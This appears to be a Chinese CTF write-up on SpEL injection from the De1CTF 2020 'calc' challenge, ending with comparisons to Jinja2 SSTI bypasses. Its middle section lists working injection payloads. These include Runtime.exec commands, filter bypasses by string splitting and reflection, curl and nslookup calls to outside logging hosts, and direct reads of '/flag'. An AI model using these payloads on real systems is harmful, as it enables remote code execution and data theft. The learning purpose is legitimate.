由一道SpEL注入题引发的对SpEL的学习和对SSTI的思考
前言
原题来自De1ctf 2020 calc
,题目链接
http://106.52.164.141/
题目中是一个表达式计算器,通过后端计算返回表达式结果,此处存在SpEL
注入,由于并没有接触过Spring
和Java
,所以我将尽力从一次做题的角度来理解SpEL,以后有机会会将原理补全。
SpEL理解
Spring Expression Language
(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。
通俗理解SpEL
就是Spring
框架的一种渲染语言,我理解就类似于Flask
使用的Jinjia2
模板渲染。本来设计使用SpEL
是为了方便进行属性的提取和计算(这也是很多模板渲染器的初衷),但由于缺少对用户输入数据(待渲染内容)的校验,造成了恶意代码执行的问题。
SpEL功能用法
SpEL
使用#{...}
来作为定界符(${...}
来引用属性),类似Jinjia2
中使用{{}}
一样,在#{...}
中大括号包裹的部分是待计算表达式,一般恶意注入就是用这里开始的,同样值得一提的是SpEL
中会使用到T()
来调用作用域内的类函数方法,例如T(java.lang.Math)
来调用Math
类,常用的SpEL
的使用方法有如下三种
- 使用
T()
操作符来执行
T(java.lang.Runtime).getRuntime().exec("cat /etc/passwd")
- 使用
new
来生成对象
new java.util.Date()
Java
表达式
'abc'.substring(2, 3)
SpEL漏洞利用
常用的普通payload
${12*12}
T(java.lang.Runtime).getRuntime().exec("nslookup a.com")
T(Thread).sleep(10000)
#this.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup a.com')
new java.lang.ProcessBuilder({'nslookup a.com'}).start()
T(org.apache.commons.io.IOUtils).toString(payload).getInputStream())
//java9
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()
但通常会有遇到过滤,针对关键词过滤,可以用以下绕过方法
java.lang.Runtime
被过滤,可以使用字符拼接
''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass()).invoke(''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null),'ls')
invoke(function, args)
是Java
的反射机制,直观理解就是调用类的某个方法
如果直接执行exec
就应该是这样getRuntime().exec("curl blah")
,但如果是用invoke
来调用就应该这样
execMethod.invoke(
getRuntimeMethod.invoke(null), // object you are making a method call against
"curl postb.in_url_here" // parameter to your method call
)
getRuntimeMethod.invoke(null)
会返回Runtime
的实例来调用exec
java.lang.Runtime
被过滤,getClass
也被过滤,还可以用数组下标的方法
"a".class.forName("ja"+"va.lan"+"g.Ru"+"ntime").getMethods()[13].invoke("a".class.forName("ja"+"va.lan"+"g.Ru"+"ntime").getMethods()[6].invoke(null),"curl http://bewsko.dnslog.cn")
Java8
直接读文件
"a".class.forName("java.nio.file.Files").readAllLines("a".class.forName("java.nio.file.Paths").get("/flag"))
(NEW java.io.BufferedReader(NEW java.io.FileReader("/flag"))).readLine()
SSTI的思考
做完这题以后,最直接的感受就是SpEL
本质上就是一种SSTI
,SSTI
漏洞在比赛中最常见于Flask
的Jinjia2
渲染器,在Jinjia2
中一些常规的绕过思路和SpEL
也是相类似的,即
- 在
SpEL
中是重点去构造java.lang.Runtime
类,Jiajia2
中核心思路是去构造__builtins__
- 遇到关键字过滤时
SpEL
和Jinjia2
都是利用字符拼接和用数组下标引用来获得关键字函数
然后提一下在Jinjia2
中会用到的绕过思路,在此处SpEL
中没有用到的
Jinjia2
可以通过解base64
编码来获得字符串名称,例如'X19jbGFzc19f'.decode('base64')
Jinjia2
中可以使用request.args
传值的绕过字符检查,例如使用request.args.a
然后get请求时传递a=__builtins__
就可以绕过__builtins__
关键字检查